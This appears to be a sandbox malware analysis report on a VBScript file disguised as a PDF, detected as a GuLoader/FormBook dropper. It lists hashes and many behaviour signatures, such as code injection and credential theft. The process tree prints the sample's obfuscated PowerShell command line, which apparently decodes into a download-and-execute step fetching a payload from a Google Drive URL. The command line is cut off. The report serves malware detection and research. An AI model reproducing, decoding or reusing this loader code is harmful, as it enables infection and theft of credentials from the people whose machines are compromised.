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Windows
Analysis Report
U00b7pdf.vbs
Overview
General Information
| Sample name: | U00b7pdf.vbsrenamed because original name is a hash value |
| Original sample name: | (GTU) 03-10-2025pdf.vbs |
| Analysis ID: | 1634248 |
| MD5: | 74d92a6c289ac8dbbecbecc1a5e33d86 |
| SHA1: | d959abc835f343ce2589b2d7ce7e17eae93e0d91 |
| SHA256: | a8f881d448bc581c96f6f325e5a0b6c6e1e64101fc6462c8228f56dfd837e389 |
| Tags: | vbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
FormBook, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected FormBook
Yara detected GuLoader
Yara detected Powershell download and execute
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Potential evasive VBS script found (sleep loop)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses ping.exe to check the status of other devices and networks
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7284 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\U00b7 pdf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
PING.EXE (PID: 7340 cmdline: ping Host_ 6637.6637. 6637.657e MD5: 2F46799D79D22AC72C241EC0322B011D) 
conhost.exe (PID: 7348 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 7436 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "echo $Unu tterabilit y;function Bldagtige res($Gravi c){ .($Sem idocumenta ry) ($Grav ic)} funct ion Sinter ens($Efeme risk){$Jor dspekulati onens=4;do {$Velhaver s+=$Efemer isk[$Jords pekulation ens];$Jord spekulatio nens+=5;$R elatch=For mat-List} until(!$Ef emerisk[$J ordspekula tionens])$ Velhavers} $Feltunder sgelses=Si nterens 'D fenTvise .hlT V r. Minw';$Fel tundersgel ses+=Sinte rens 'Ca,s EUnpeBKont cIndeL,iqu I ProEBibu NEnact';$f orlngerled ningen=Sin terens 'Sp roMabeloNi cyz MotiVe lol DaclCl avaKbyt/'; $Eelware=S interens ' EjedTStopl EtissMes,1 a,di2';$Ca plock='Und e[ achntil sESpalTTea k.BrinS Po meU skRMan uV S miBo lCPr seEda P b iOSu eIPotaNUds ttclosm Ta bABe aNFor faRe dgXra yEfootRT.s s]Kata: Ca c:Ac.psAan E FicCH l puIngeRMic hIPredTDet ryGalaPAtl er SproFin dTLumbOBaa ncT.neOAfs plPelm= he l$MetaEHon oE O hlExu bwSmaaAaff or,fveE';$ forlngerle dningen+=S interens ' ryo5Pyth. gri0 Ban ul(QuinWC osmiRig nR add.denoD aysw .ocsR ead PeroNB roaTAm.n S em1Ande0St ee.Parm0 O nt; orm Kr usWF ntib evn ont6Nu pp4Harv;Ov er HealxDu mb6Fed 4ou ts;rein S, perIniqvBe ca:Port1So lo3arri4Br ak.Unpe0 F r)Unsm Sv anG.llieZo oicRep ke plo Pl./Se cu2Kata0Au di1Bedd0De nd0 aab1Un us0Min.1Ov er GrilFhu tiUnderUs ureoutefVi ceostadx.e tr/Preo1 B de3Estl4re gn.In d0'; $Paabegynd elsers=Sin terens 'Ce tUFabuSTe olE ameRSm aa-RetoAco mpg DyseGy lln ArkT'; $Fibromyxo sarcoma=Si nterens 'T uneh Bl,t P ctCincpC hansk nt: Bek/Unco/ UnidEmu.r MatiberavD isue ,fk. SucgDislo TogoPalig MaalBr.wej o,d.WroucF rivoUnjemV edt/Bogsu MelcUdmu?U foreSpejx rsep e,eol uger.strt ivs=BenedP ar,oChe w NonnGladlM ,sioSp oaU niddBorr&H xai ntedU nmi=Tsum1 ps GIr d7 SweZSa.lLN onqO RanAH bk9 UdbQA coZ NeuG F r5F,si-S andnAcrav Gr AAmebw Haltblaa0 dsabS alW eprXFerl8 B,fi IcoeM aalrGipsl, sop9,linM TimRvan,hT amigTantq' ;$Stenogra fere=Sinte rens 'Gyn >';$Semido cumentary= Sinterens 'SmreI Con EElskX';$H ypermetamo rphotic='D rklokke';$ dirigentkl okkernes=' \Beflingen s.Com';Bld agtigeres (Sinterens 'Drif$St mGModpLUnt ho.ismB St oAPjasLSub :Be eASup rf UndKCru rSla f,rm ltUnareRoc kREmne= gt e$Te,eeEmp tnjuleV Co :Cat a .p lp D,rPSa nD IntA rt eTRuffAF n n+Hj d$I d fDFreiIT,o tRUnsuI Mo ngArvee mp ln AretVe sk onLPugi ObipekCarb kha,ve red RCalons nt EUdarS');B ldagtigere s (Sintere ns ' Ist$r ,paGExchlv eneOButcbH e tA HysLH amm:VeteuJ ordDD safI naulsynge ndutKo tne rg.IBlovnE le.GPublEB .kkrStvlNT ,ktESto =B ig.$BookfR etsiFluoB InsR PleOF eltMforsY N,nx FacO VmsS Erha. ecirCompCF leto RanmM an a fo .B it,sOverPM icrLCam.IU ngdTDat (N on.$Gld SA labT CumeI